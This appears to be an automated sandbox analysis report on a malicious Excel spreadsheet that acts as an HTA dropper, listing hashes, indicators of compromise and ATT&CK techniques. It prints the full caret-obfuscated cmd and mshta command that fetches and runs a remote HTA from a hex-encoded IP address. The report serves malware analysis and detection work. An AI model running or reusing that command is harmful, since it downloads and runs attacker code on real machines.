7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
202s
max time network
212s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-101.xls
Size

64KB
MD5

560181e4cde03685b805025943fb2d49
SHA1

4fa830abcfef35042484a7991a9ff0b15c34bcd6
SHA256

e4f12be31a8640986ecbcea3fd9b8cf22936e0db666d6dbdd87b77e798f22415
SHA512

e7744bb93b4f33b20113268409aa23974ebb296e6235bde6caa407de9d3fc3b5dd01bd3f488fd74c1604ada88b9438a8ab5c0efe4a039cd8a4e47b2febb32e8f

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1232	3668	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

38 1812 mshta.exe

flow	pid	process
38	1812	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3668 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE
3668	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3668 wrote to memory of 1232	3668	EXCEL.EXE	cmd.exe
PID 3668 wrote to memory of 1232	3668	EXCEL.EXE	cmd.exe
PID 1232 wrote to memory of 1812	1232	cmd.exe	mshta.exe
PID 1232 wrote to memory of 1812	1232	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-101.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3668

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1232

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:1812

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3668-117-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-118-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-119-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-120-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-121-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-130-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

Filesize
64KB

Download
memory/3668-131-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

Filesize
64KB

Download
memory/3668-302-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-301-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-303-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3668-304-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download